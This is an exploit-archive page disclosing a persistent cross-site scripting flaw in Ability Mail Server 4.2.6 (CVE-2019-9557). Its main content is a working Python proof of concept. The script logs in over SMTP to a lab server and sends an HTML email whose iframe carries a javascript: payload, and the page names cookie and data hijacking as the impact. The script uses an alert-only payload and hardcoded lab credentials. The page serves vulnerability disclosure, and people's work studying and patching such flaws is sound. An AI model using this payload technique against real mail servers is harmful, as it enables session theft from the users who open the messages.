exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Ability Mail Server 4.2.6 Cross Site Scripting

Ability Mail Server 4.2.6 Cross Site Scripting
Posted Mar 4, 2019
Authored by Aloyce J. Makalanga

Ability Mail Server version 4.2.6 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-9557
SHA-256 | f9c904b78b4d15cef7354ad84ac7bc47c31b5f6708653e1dc569dc47b5af1619

Ability Mail Server 4.2.6 Cross Site Scripting

Change Mirror Download

# Exploit Title: Persistent Cross Site Scripting Ability Mail Server 4.2.6
# CVE: CVE-2019-9557
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr>
# Vendor Homepage: https://www.codecrafters.com/AbilityMailServer <https://www.codecrafters.com/AbilityMailServer>
# Category: webapps
# Attack Type: Remote
# Impact: Data/Cookie hijacking


1. Description


> Ability Mail Server 4.2.6 has Persistent Cross Site Scripting (XSS) via
> the body e-mail body. To exploit the vulnerability, the victim must
> open an email with malicious Javascript inserted into the body of the
> email as an iframe.



2. Proof of Concept


#!/usr/bin/env python -tt
# -*- coding: utf-8 -*-

# Import modules
import smtplib


def trigger_persistence_xss():
email_addr = 'attacker@aloyce.local'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += "<IFRAME SRC='javascript:alert('XSS');'></IFRAME>"
s = smtplib.SMTP('192.168.1.172', 25)
s.login(email_addr, "123456")
s.sendmail(email_addr, email_addr, email)
s.quit()


def main():
pass


if __name__ == '__main__':
trigger_persistence_xss()
main()
Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    66 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close